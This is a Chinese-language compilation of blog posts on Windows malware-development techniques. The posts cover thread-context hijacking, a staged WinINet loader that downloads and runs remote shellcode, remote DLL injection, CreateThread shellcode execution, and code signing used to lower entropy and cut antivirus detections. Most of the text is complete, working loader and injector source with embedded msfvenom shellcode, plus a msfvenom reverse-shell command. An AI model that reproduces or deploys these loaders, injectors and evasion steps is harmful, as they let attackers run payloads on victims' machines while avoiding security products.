通过设置dwCreationFlag参数创建一个被挂起的线程（CREATE_SUSPENDED）
分配内存并写入Shellcode
获取该线程的上下文（GetThreadContext）
修改上下文中的指令指针（RIP/EIP）指向Shellcode地址
设置线程上下文（SetThreadContext）
恢复线程执行（ResumeThread）

C++实现

#include <windows.h>
#include <iostream>

// 示例：弹出计算器的Shellcode（Windows x64）
unsigned char buf[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
"\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
"\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
"\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
"\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
"\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
"\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
"\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
"\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b"
"\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";

int main() {
    DWORD shellcode_len = sizeof(buf);

    // 1. 创建一个被挂起的线程（入口函数可以是任意函数，这里用MessageBox）
    HANDLE hThread = CreateThread(
        NULL,                    // 安全属性
        0,                       // 栈大小
        (LPTHREAD_START_ROUTINE)MessageBoxW, // 入口函数（实际不会执行）
        NULL,                    // 参数
        CREATE_SUSPENDED,        // 创建后挂起
        NULL                     // 线程ID
    );

    if (hThread == NULL) {
        std::cerr << "[-] CreateThread failed: " << GetLastError() << std::endl;
        return -1;
    }

    std::cout << "[+] Suspended thread created: " << hThread << std::endl;

    // 2. 分配可执行内存并写入Shellcode
    LPVOID pShellcode = VirtualAlloc(
        NULL,
        shellcode_len,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_READWRITE
    );

    if (pShellcode == NULL) {
        std::cerr << "[-] VirtualAlloc failed: " << GetLastError() << std::endl;
        CloseHandle(hThread);
        return -1;
    }

    memcpy(pShellcode, buf, shellcode_len);

    // 3. 修改内存权限为可执行
    DWORD oldProtect;
    if (!VirtualProtect(pShellcode, shellcode_len, PAGE_EXECUTE_READ, &oldProtect)) {
        std::cerr << "[-] VirtualProtect failed: " << GetLastError() << std::endl;
        VirtualFree(pShellcode, 0, MEM_RELEASE);
        CloseHandle(hThread);
        return -1;
    }

    // 4. 获取线程上下文
    CONTEXT ctx = { 0 };
    ctx.ContextFlags = CONTEXT_FULL;

    if (!GetThreadContext(hThread, &ctx)) {
        std::cerr << "[-] GetThreadContext failed: " << GetLastError() << std::endl;
        VirtualFree(pShellcode, 0, MEM_RELEASE);
        CloseHandle(hThread);
        return -1;
    }

    // 5. 修改RIP（64位）或 EIP（32位）指向Shellcode
#ifdef _WIN64
    ctx.Rip = (DWORD64)pShellcode;
#else
    ctx.Eip = (DWORD)pShellcode;
#endif

    // 6. 设置修改后的上下文
    if (!SetThreadContext(hThread, &ctx)) {
        std::cerr << "[-] SetThreadContext failed: " << GetLastError() << std::endl;
        VirtualFree(pShellcode, 0, MEM_RELEASE);
        CloseHandle(hThread);
        return -1;
    }

    std::cout << "[+] Thread context modified, RIP -> " << pShellcode << std::endl;

    // 7. 恢复线程执行，开始执行Shellcode
    if (ResumeThread(hThread) == -1) {
        std::cerr << "[-] ResumeThread failed: " << GetLastError() << std::endl;
        VirtualFree(pShellcode, 0, MEM_RELEASE);
        CloseHandle(hThread);
        return -1;
    }

    std::cout << "[+] Thread resumed. Shellcode should be executing..." << std::endl;

    // 等待线程结束（可选）
    WaitForSingleObject(hThread, INFINITE);

    // 清理资源
    VirtualFree(pShellcode, 0, MEM_RELEASE);
    CloseHandle(hThread);

    return 0;
}

利用代码签名降低恶意软件熵值

Mon, 28 Jul 2025 13:51:42 GMT

import { Image } from 'astro:assets'

import imgBefore from './assets/image-20250728144613948.png' import imgAfter from './assets/image-20250728150735301.png'

在现代网络攻防的持续博弈中，熵值 (Entropy) 是防御方（如杀毒软件、EDR）检测恶意软件的一个基础且关键的指标。一个文件的熵值反映了其内容的随机或"混乱"程度。恶意软件为了隐藏其真实意图，常常对核心载荷（Payload）进行加密或压缩，这直接导致可执行文件的熵值异常升高，从而触发安全产品的启发式警报。

核心原理

此策略的有效性源于数字签名数据块本身的特性与"稀释效应"。

签名的低熵特性：数字签名并非一串随机字节，而是一个遵循ASN.1标准编码的高度结构化数据块。其中包含了证书信息、颁发者、有效期等具有固定格式的数据，因此其自身熵值很低。
体积带来的稀释效应：一个有效的数字签名（尤其是包含完整证书链时）体积可达数KB到数十KB。当我们将这个相对庞大的低熵数据块附加到一个体积较小但熵值极高（如包含加密Payload）的恶意加载器上时，文件的平均熵值会被显著拉低。

签名证书的获取方式

购买合法证书

通过Sectigo、DigiCert等CA机构购买。成本高昂，且滥用会导致证书被吊销和列入黑名单，对攻击者而言风险极高。

窃取合法证书

通过攻击软件开发商来窃取其代码签名私钥。这是最高效但也最危险的方式，历史上Stuxnet等著名恶意软件均采用此方法。

获取网络上泄露的有效证书

从开源网站如Github上获取开发者意外泄露的证书。

创建自签名证书

这是最简单、零成本的方式，非常适合在受控环境、测试或红队行动中快速生成签名。虽然自签名证书不被操作系统默认信任，但它同样能起到降低熵值的效果。

自签名实操

生成自签名证书

New-SelfSignedCertificate -DnsName "www.redact.com" -CertStoreLocation "Cert:\CurrentUser\My" -KeyUsage DigitalSignature -Type CodeSigningCert

-DnsName "www.trusted-app.com"：证书的主题名称，可以自定义成任何看起来合法的域名。
-CertStoreLocation "Cert:\CurrentUser\My"：将证书存储在当前用户的个人证书库中。
-KeyUsage DigitalSignature：指定密钥用途为数字签名。
-Type CodeSigningCert：指定证书类型为代码签名证书。

导出为PFX文件

# 1. 设置一个用于保护PFX文件的密码
$password = ConvertTo-SecureString -String "YourSecurePassword123" -Force -AsPlainText

# 2. 获取我们刚刚创建的证书
$cert = Get-ChildItem -Path "Cert:\CurrentUser\My" | Where-Object { $_.Subject -like "CN=www.redact.com" } | Select-Object -First 1

# 3. 导出证书到文件
Export-PfxCertificate -Cert $cert -FilePath "D:\Test\MyCodeSign.pfx" -Password $password

生成高熵的恶意文件

msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.168.0.1 LPORT=4444 -e x64/xor -f exe -o malware.exe

通过VirusTotal查看检测率，检测结果54/72。

使用 signtool.exe 进行签名

一般来说只要安装了Virtual Studio的C++开发环境就无需手动安装，如果没找到则在这里安装。

signtool.exe sign /f "D:\Test\MyCodeSign.pfx" /p "YourSecurePassword123" /t http://timestamp.digicert.com /fd SHA256 /v malware.exe
The following certificate was selected:
    Issued to: www.redact.com
    Issued by: www.redact.com
    Expires:   Tue Jul 28 14:11:48 2026
    SHA1 hash: 10A95CE1A5BC76B6798E5EE5DF8139D7D503EE04

Done Adding Additional Store
Successfully signed: malware.exe

Number of files successfully Signed: 1
Number of warnings: 0
Number of errors: 0

可以看到，在仅通过自签名的方式VirusTotal的检测率就降为了50/72。

使用 C 和 WinINet 编写分段式 Shellcode 加载器

Fri, 25 Jul 2025 11:03:55 GMT

import { Image } from 'astro:assets'

import imgExecution from './assets/image-20250725152146715.png'

一体式载荷(stageless payload)

我之前文章中编写的例子都是属于一体式载荷。载荷的所有功能代码（例如完整的Meterpreter或Cobalt Strike Beacon）被打包在一个单独的文件或Shellcode中一次性发送给目标。相对来说体积更大，因为包含了完整的功能，很容易被静态查杀。

分段式载荷(staged payload)

将载荷拆为两部分。

第一阶段(stage 0/stager)：通常体积很小很精简，唯一的功能就是从远端加载二阶段载荷。

第二阶段(stage 1)：包含实际功能的的代码片段。

第一阶段的载荷因为体积小，也不包含恶意API，相对较容易绕过静态查杀。因为体积小也更容易适用于多种内存受限的场合，如缓冲区溢出。

实现分段式载荷

准备工作

# 生成一个64位的计算器Shellcode，并保存为原始二进制文件
msfvenom -p windows/x64/exec CMD=calc.exe -a x64 -f raw -o calc.bin EXITFUNC=thread
# 在存放calc.bin的目录下执行
python -m http.server 8000

理解实现原理

关键API

InternetOpenW - 初始化 WinINet 库，获取一个会话句柄，这是所有网络操作的起点。
InternetOpenUrlW - 打开指定的 URL，并返回一个可以用于读取远程资源的句柄。
HttpQueryInfoW - 查询 HTTP 响应头信息。我们将用它来获取载荷的实际大小（Content-Length），以精确地分配内存。
InternetReadFile - 从 InternetOpenUrlW 返回的句柄中读取数据，也就是下载我们的 Payload。
InternetCloseHandle - 任务完成后，释放所有打开的 WinINet 句柄。

动手实现

#include <windows.h>
#include <wininet.h>
#include <stdio.h>
#include <wchar.h> // 引入宽字节I/O函数所需的头文件 (wprintf)

#pragma comment(lib, "wininet.lib")

int main() {
    // 变量声明 (使用宽字节类型)
    HINTERNET hInternet = NULL;
    HINTERNET hConnect = NULL;
    // 使用LPCWSTR (Long Pointer to Constant Wide String) 和 L"" 宽字符串字面量
    LPCWSTR szUrl = L"http://localhost:8000/calc.bin";
    LPVOID pShellcode = NULL;
    HANDLE hThread = NULL;

    DWORD dwBytesRead = 0;
    DWORD dwContentLength = 0;
    DWORD dwContentLengthSize = sizeof(dwContentLength);

    DWORD dwStatusCode = 0;
    DWORD dwStatusCodeSize = sizeof(dwStatusCode);

    // 通过WinINet下载Shellcode (使用宽字节API)
    // InternetOpenW: 初始化应用程序对WinINet库的使用。
    hInternet = InternetOpenW(
        L"Mozilla/5.0", // - lpszAgent: 指定User-Agent字符串。使用一个常见的浏览器UA，是基本的流量伪装技巧。
        INTERNET_OPEN_TYPE_PRECONFIG, // - dwAccessType: 指定WinINet库的访问方式。INTERNET_OPEN_TYPE_PRECONFIG表示使用默认的配置。
        NULL, NULL, 0);
    if (hInternet == NULL) {
        fwprintf(stderr, L"InternetOpenW failed with error: %lu\n", GetLastError());
        return 1;
    }

    // 使用 InternetOpenUrlW 打开Url句柄
    hConnect = InternetOpenUrlW(hInternet, szUrl, NULL, 0, INTERNET_FLAG_RELOAD | INTERNET_FLAG_PRAGMA_NOCACHE, 0);
    if (hConnect == NULL) {
        fwprintf(stderr, L"InternetOpenUrlW failed with error: %lu\n", GetLastError());
        InternetCloseHandle(hInternet);
        return 1;
    }

    // 检查HTTP状态码 (HttpQueryInfoW)
    // 注意：虽然这个API有W版本，但由于查询的是数字而非字符串，A/W版本在此处行为相同
    if (!HttpQueryInfoW(hConnect, HTTP_QUERY_STATUS_CODE | HTTP_QUERY_FLAG_NUMBER, &dwStatusCode, &dwStatusCodeSize, NULL)) {
        fwprintf(stderr, L"HttpQueryInfoW (status code) failed with error: %lu\n", GetLastError());
        InternetCloseHandle(hConnect);
        InternetCloseHandle(hInternet);
        return 1;
    }

    if (dwStatusCode != HTTP_STATUS_OK) { // HTTP_STATUS_OK is 200
        fwprintf(stderr, L"Server returned non-200 status code: %lu\n", dwStatusCode);
        InternetCloseHandle(hConnect);
        InternetCloseHandle(hInternet);
        return 1;
    }
    wprintf(L"Server returned 200 OK.\n");

    // 查询内容长度 (HttpQueryInfoW)
    if (!HttpQueryInfoW(hConnect, HTTP_QUERY_CONTENT_LENGTH | HTTP_QUERY_FLAG_NUMBER, &dwContentLength, &dwContentLengthSize, NULL) || dwContentLength == 0) {
        fwprintf(stderr, L"HttpQueryInfoW (content length) failed or content is empty. Error: %lu\n", GetLastError());
        InternetCloseHandle(hConnect);
        InternetCloseHandle(hInternet);
        return 1;
    }

    wprintf(L"Shellcode size: %lu bytes.\n", dwContentLength);


    // 分配内存
    pShellcode = VirtualAlloc(NULL, dwContentLength, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (pShellcode == NULL) {
        fwprintf(stderr, L"VirtualAlloc failed with error: %lu\n", GetLastError());
        InternetCloseHandle(hConnect);
        InternetCloseHandle(hInternet);
        return 1;
    }

    wprintf(L"Executable memory allocated at: %p\n", pShellcode);

    // 读取Shellcode
    if (!InternetReadFile(hConnect, pShellcode, dwContentLength, &dwBytesRead) || dwBytesRead != dwContentLength) {
        fwprintf(stderr, L"InternetReadFile failed or did not read all bytes. Error: %lu\n", GetLastError());
        VirtualFree(pShellcode, 0, MEM_RELEASE);
        InternetCloseHandle(hConnect);
        InternetCloseHandle(hInternet);
        return 1;
    }

    wprintf(L"Shellcode downloaded successfully.\n");
    InternetCloseHandle(hConnect);
    InternetCloseHandle(hInternet);

    // 执行Shellcode
    wprintf(L"Executing shellcode...\n");
    hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)pShellcode, NULL, 0, NULL);
    if (hThread == NULL) {
        fwprintf(stderr, L"CreateThread failed with error: %lu\n", GetLastError());
        VirtualFree(pShellcode, 0, MEM_RELEASE);
        return 1;
    }

    WaitForSingleObject(hThread, 2000);
    wprintf(L"Shellcode execution finished.\n");

    // 清理
    CloseHandle(hThread);
    VirtualFree(pShellcode, 0, MEM_RELEASE);

    return 0;
}

执行效果如下

详解 Windows DLL 远程注入的实现原理

Wed, 23 Jul 2025 11:09:00 GMT

import { Image } from 'astro:assets'

import imgPeHeader from './assets/image-20250723142211223.png' import imgLoaderResult from './assets/image-20250723142642280.png' import imgInjectionResult from './assets/image-20250723154543840.png'

简单介绍DLL

DLL (Dynamic-Link Library)，即"动态链接库"，是一个编译后的代码和资源库，它允许多个可执行文件.exe在运行时动态加载并共享其功能，类似于Linux的共享对象.so。它的核心优势是运行时链接(Runtime linking)，而非编译时将所有代码都静态链接到主程序中。

DLL文件和EXE文件一样，都使用PE文件格式。他们的主要区别在于PE头中的一个标志位，以及DLL文件一般不能独立运行，需要通过其他程序加载并运行。

导出表

正常情况下DLL需要通过导出表来展示一个可供调用的函数列表，当一个程序想要调用DLL中的函数时，它就会通过这个导出表来找到函数的实际内存地址。

本例中方便起见不导出函数，直接通过DLL_PROCESS_ATTACH来展示DLL被载入后的运行效果。

DLL本地注入

这个 DLL 在被加载时，会利用其 DllMain 入口点弹出一个消息框。

#include <Windows.h>
#include <stdio.h>

BOOL APIENTRY DllMain(HMODULE hModule, DWORD dwReason, LPVOID lpReserved) {

    switch (dwReason) {
    case DLL_PROCESS_ATTACH: {
        MessageBoxA(NULL, "DLL Injected Successfully!", "Success", MB_OK);
        break;
    };
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }

    return TRUE;
}

加载器程序调用 LoadLibraryA 来加载 Dll.dll。这个 API 会触发 Windows 加载器执行完整的 DLL 加载流程：解析 PE 头、映射段、处理导入、最后调用 DllMain。

#include <Windows.h>
#include <stdio.h>
#include <process.h>

int main() {
    const char* dllPath = "mydll.dll";
    printf("Attempting to load %s...\n", dllPath);

    HMODULE hDll = LoadLibraryA(dllPath);

    if (hDll == NULL) {
        printf("Failed to load DLL. Error code: %d\n", GetLastError());
        return 1;
    }

    printf("DLL loaded successfully. Handle: %p\n", hDll);
    printf("Check for the message box!\n");

    system("pause");

    FreeLibrary(hDll);
    printf("DLL unloaded.\n");

    return 0;
}

DLL远程注入

远程注入的核心思想是：在目标进程的上下文中，强制其调用 LoadLibraryA 来加载我们指定的 DLL。由于进程地址空间的隔离性，这需要一系列精确的跨进程内存操作。

定位目标进程

通过 CreateToolhelp32Snapshot API 遍历系统进程，根据进程名找到其 PID。

// 因为现代Windows默认使用Unicode编码，所以这里直接使用宽字符比较函数 _wcsicmp
DWORD FindProcessIdByName(const wchar_t* processName) {
    PROCESSENTRY32W entry; // 明确使用宽字符版本
    entry.dwSize = sizeof(PROCESSENTRY32W);

    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

    if (Process32FirstW(snapshot, &entry)) { // 使用 Process32FirstW
        do {
            // 使用 _wcsicmp 进行不区分大小写的宽字符比较
            if (_wcsicmp(entry.szExeFile, processName) == 0) {
                CloseHandle(snapshot);
                return entry.th32ProcessID;
            }
        } while (Process32NextW(snapshot, &entry)); // 使用 Process32NextW
    }

    CloseHandle(snapshot);
    return 0;
}

获取目标句柄

调用 OpenProcess获取一个拥有足够权限(PROCESS_ALL_ACCESS)的句柄。

    HANDLE hProcess = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_CREATE_THREAD, FALSE, pid);
    if (hProcess == NULL) {
        wprintf(L"Failed to open target process (Error: %d). Try running as Administrator.\n", GetLastError());
        return 1;
    }

在目标进程中分配内存

使用VirtualAllocEx在目标进程的地址空间中申请一块足以保存DLL的内存空间。

    LPVOID pRemoteMem = VirtualAllocEx(hProcess, NULL, dllPathSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (pRemoteMem == NULL) {
        wprintf(L"VirtualAllocEx failed. Error: %d\n", GetLastError());
        CloseHandle(hProcess);
        return 1;
    }

### 写入DLL路径

使用 [WriteProcessMemory](https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-writeprocessmemory) 将我们的 DLL 路径字符串写入到刚刚在远程进程中分配的内存里。

```c
    // 写入内存时，也要提供正确的字节大小
    if (!WriteProcessMemory(hProcess, pRemoteMem, dllPath, dllPathSize, NULL)) {
        wprintf(L"WriteProcessMemory failed. Error: %d\n", GetLastError());
        VirtualFreeEx(hProcess, pRemoteMem, 0, MEM_RELEASE);
        CloseHandle(hProcess);
        return 1;
    }

查找 LoadLibraryW 地址

LoadLibraryW 用于加载一个调用它的进程内部的 DLL。由于目标是加载远程进程内部而非本地进程内部的 DLL，所以不能直接调用它。相反，必须检索 LoadLibraryW 的地址并将其作为参数传递给进程中远程创建的线程，同时将 DLL 名称作为其参数。这起作用是因为 LoadLibraryW WinAPI 的地址在远程进程中和在本地进程中相同。为了确定 WinAPI 的地址，需要使用 GetProcAddress 和 GetModuleHandle 。

    // 必须使用 LoadLibraryW，而不是 LoadLibraryA
    LPVOID pLoadLibraryW = (LPVOID)GetProcAddress(GetModuleHandleW(L"kernel32.dll"), "LoadLibraryW");
    if (pLoadLibraryW == NULL) {
        wprintf(L"GetProcAddress for LoadLibraryW failed. Error: %d\n", GetLastError());
        CloseHandle(hProcess);
        return 1;
    }

创建远程线程

调用 CreateRemoteThread，让它在目标进程中创建一个新线程。这个新线程的起始执行地址被设置为 LoadLibraryA 的地址，其接收的参数则被设置为我们刚刚写入的 DLL 路径的地址。

    HANDLE hRemoteThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pLoadLibraryW, pRemoteMem, 0, NULL);
    if (hRemoteThread == NULL) {
        wprintf(L"CreateRemoteThread failed. Error: %d\n", GetLastError());
        VirtualFreeEx(hProcess, pRemoteMem, 0, MEM_RELEASE);
        CloseHandle(hProcess);
        return 1;
    }

完整代码

#include <Windows.h>
#include <stdio.h>
#include <TlHelp32.h>

// 因为现代Windows默认使用Unicode编码，所以这里直接使用宽字符比较函数 _wcsicmp
DWORD FindProcessIdByName(const wchar_t* processName) {
    PROCESSENTRY32W entry; // 明确使用宽字符版本
    entry.dwSize = sizeof(PROCESSENTRY32W);

    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

    if (Process32FirstW(snapshot, &entry)) { // 使用 Process32FirstW
        do {
            // 使用 _wcsicmp 进行不区分大小写的宽字符比较
            if (_wcsicmp(entry.szExeFile, processName) == 0) {
                CloseHandle(snapshot);
                return entry.th32ProcessID;
            }
        } while (Process32NextW(snapshot, &entry)); // 使用 Process32NextW
    }

    CloseHandle(snapshot);
    return 0;
}

int wmain() { // 使用 wmain 作为 Unicode程序的入口点
    const wchar_t* targetProcessName = L"notepad.exe"; // 使用 L 前缀创建宽字符字符串
    wchar_t dllPath[MAX_PATH];

    // 使用 GetFullPathNameW
    if (GetFullPathNameW(L"Dll.dll", MAX_PATH, dllPath, NULL) == 0) {
        wprintf(L"Failed to get full path of DLL. Error: %d\n", GetLastError());
        return 1;
    }

    wprintf(L"Targeting process: %s\n", targetProcessName);
    wprintf(L"DLL to inject: %s\n", dllPath);

    DWORD pid = FindProcessIdByName(targetProcessName);
    if (pid == 0) {
        wprintf(L"Could not find process. Is %s running?\n", targetProcessName);
        return 1;
    }
    wprintf(L"Found PID: %d\n", pid);

    HANDLE hProcess = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_CREATE_THREAD, FALSE, pid);
    if (hProcess == NULL) {
        wprintf(L"Failed to open target process (Error: %d). Try running as Administrator.\n", GetLastError());
        return 1;
    }

    // 计算内存大小时，要乘以 sizeof(wchar_t)
    size_t dllPathSize = (wcslen(dllPath) + 1) * sizeof(wchar_t);

    LPVOID pRemoteMem = VirtualAllocEx(hProcess, NULL, dllPathSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (pRemoteMem == NULL) {
        wprintf(L"VirtualAllocEx failed. Error: %d\n", GetLastError());
        CloseHandle(hProcess);
        return 1;
    }

    // 写入内存时，也要提供正确的字节大小
    if (!WriteProcessMemory(hProcess, pRemoteMem, dllPath, dllPathSize, NULL)) {
        wprintf(L"WriteProcessMemory failed. Error: %d\n", GetLastError());
        VirtualFreeEx(hProcess, pRemoteMem, 0, MEM_RELEASE);
        CloseHandle(hProcess);
        return 1;
    }

    // 必须使用 LoadLibraryW，而不是 LoadLibraryA
    LPVOID pLoadLibraryW = (LPVOID)GetProcAddress(GetModuleHandleW(L"kernel32.dll"), "LoadLibraryW");
    if (pLoadLibraryW == NULL) {
        wprintf(L"GetProcAddress for LoadLibraryW failed. Error: %d\n", GetLastError());
        CloseHandle(hProcess);
        return 1;
    }

    HANDLE hRemoteThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pLoadLibraryW, pRemoteMem, 0, NULL);
    if (hRemoteThread == NULL) {
        wprintf(L"CreateRemoteThread failed. Error: %d\n", GetLastError());
        VirtualFreeEx(hProcess, pRemoteMem, 0, MEM_RELEASE);
        CloseHandle(hProcess);
        return 1;
    }

    wprintf(L"Injection successful. Waiting for remote thread to finish...\n")
    WaitForSingleObject(hRemoteThread, INFINITE);

    CloseHandle(hRemoteThread);
    VirtualFreeEx(hProcess, pRemoteMem, 0, MEM_RELEASE);
    CloseHandle(hProcess);

    wprintf(L"Cleanup complete.\n");
    return 0;
}

运行效果

使用 CreateThread 实现 Shellcode 的异步执行

Tue, 22 Jul 2025 15:17:51 GMT

import { Image } from 'astro:assets'

import imgResult from './assets/image-20250722164007830.png'

之前的文章中我们都是通过函数指针来运行shellcode的，但这样存在一个问题，程序在运行到shellcode时会卡住，在等待shellcode运行结束并返回后才能继续运行或退出。

为了避免这一情况并提高shellcode的隐蔽性，我们通常会使用异步调用的方式如CreateThread创建一个新的线程来运行shellcode，这样主程序可以继续运行来伪装一个正常程序的行为，shellcode也能在后台偷偷执行。

#include <Windows.h>
#include <stdio.h>

// msfvenom -p windows/x64/exec CMD=calc.exe -a x64 -f c EXITFUNC=thread
unsigned char buf[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
"\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
"\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
"\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
"\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
"\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
"\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
"\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
"\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b"
"\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";

int main() {
	HANDLE hThread = NULL;
	LPVOID lpShellcode = NULL;

	// === 步骤 1: 分配可执行内存 ===
	// 使用 VirtualAlloc 在当前进程的虚拟地址空间中分配一块内存。
	// NULL: 让系统自动选择地址。
	// sizeof(buf): 分配的大小与我们的Shellcode大小相同。
	// MEM_COMMIT | MEM_RESERVE: 同时预定并提交物理内存。
	// PAGE_EXECUTE_READWRITE: 将这块内存标记为可读、可写、可执行。
	// 这是最危险的权限组合，也是现代EDR重点监控的标志。
	printf("1. Allocating executable memory...\n");
	lpShellcode = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	if (lpShellcode == NULL) {
		printf("VirtualAlloc failed. Error code: %d\n", GetLastError());
		return 1;
	}
	printf("   Memory allocated at: 0x%p\n", lpShellcode);

	// === 步骤 2: 复制Shellcode到可执行内存中 ===
	// 现在，我们将Shellcode字节码复制到刚刚申请的内存区域。
	// RtlMoveMemory 是一个宏，通常被定义为 memcpy。
	printf("2. Copying shellcode to the allocated memory...\n");
	RtlMoveMemory(lpShellcode, buf, sizeof(buf));

	// === 步骤 3: 创建新线程以执行Shellcode ===
	// 使用 CreateThread 创建一个新线程。
	// [关键!] 线程的起始地址 (lpStartAddress) 被设置为我们Shellcode所在的地址。
	// 当线程开始运行时，CPU会直接从这个地址取指令并执行。
	printf("3. Creating a new thread to execute the shellcode...\n");
	hThread = CreateThread(
		NULL,                   // 默认安全属性
		0,                      // 默认栈大小
		(LPTHREAD_START_ROUTINE)lpShellcode, // 将Shellcode的地址作为函数指针
		NULL,                   // 无参数传递给Shellcode
		0,                      // 默认创建标志
		NULL);                  // 不需要返回线程ID

	if (hThread == NULL) {
		printf("CreateThread failed. Error code: %d\n", GetLastError());
		VirtualFree(lpShellcode, 0, MEM_RELEASE); // 清理内存
		return 1;
	}
	printf("   Thread created successfully.\n");

	// === 步骤 4: 预计等待线程执行完成时间 ===
	// 不用等待Shellcode执行完成，只需要预计一个执行完成时间便继续运行程序剩余代码。
	printf("4. Waiting for the thread to finish...\n");
	WaitForSingleObject(hThread, INFINITE);
	printf("   Thread finished.\n");

	// === 步骤 5: 清理资源 ===
	// 关闭线程句柄并释放我们申请的内存。
	printf("5. Cleaning up resources...\n");
	CloseHandle(hThread);
	VirtualFree(lpShellcode, 0, MEM_RELEASE);

	return 0;
}

可以看到，在成功运行计算器后程序还在继续运行。

小插曲

msfvenom -p windows/x64/exec CMD=calc.exe -a x64 -f c EXITFUNC=thread

在生成shellcode是可以看到我指定了一个新的参数EXITFUNC=thread若不指定，标准shellcode在执行完毕后，会尝试执行ret指令返回。但在我们的加载器场景中，线程是直接跳转到shellcode地址开始执行的，并没有一个合法的返回地址压在栈上。这导致ret指令会弹出一个无效地址，从而触发0xC000D0005: Access Violation致命错误，导致线程崩溃。

通过EXITFUNC=thread就可以在Shellcode的末尾自动添加调用ExitThread的代码，从而优雅的退出线程。

利用 PE 文件段 (.data, .text, .rsrc) 注入并隐藏 Shellcode

Wed, 16 Jul 2025 15:13:31 GMT

import { Image } from 'astro:assets'

import imgMsfGen from './assets/image-20250716150601733.png' import imgDataHexView from './assets/image-20250716142818193.png' import imgDataSection from './assets/image-20250716143524491.png' import imgRdataSection from './assets/image-20250716150159009.png' import imgRdataHexView from './assets/image-20250716144356061.png' import imgTextSection from './assets/image-20250716155420866.png' import imgTextHexView from './assets/image-20250716155402226.png' import imgRunEffect from './assets/image-20250716172048266.png' import imgX64dbgView from './assets/image-20250716172259827.png' import imgRsrcHexView from './assets/image-20250716170703790.png'

shellcode可以根据需要保存在PE结构的多个不同段中。不同的段拥有不同的属性（如读、写、执行权限），了解并利用这些特性可以方便我们将 Payload 放置到最合适的位置来达到一定的伪装效果。
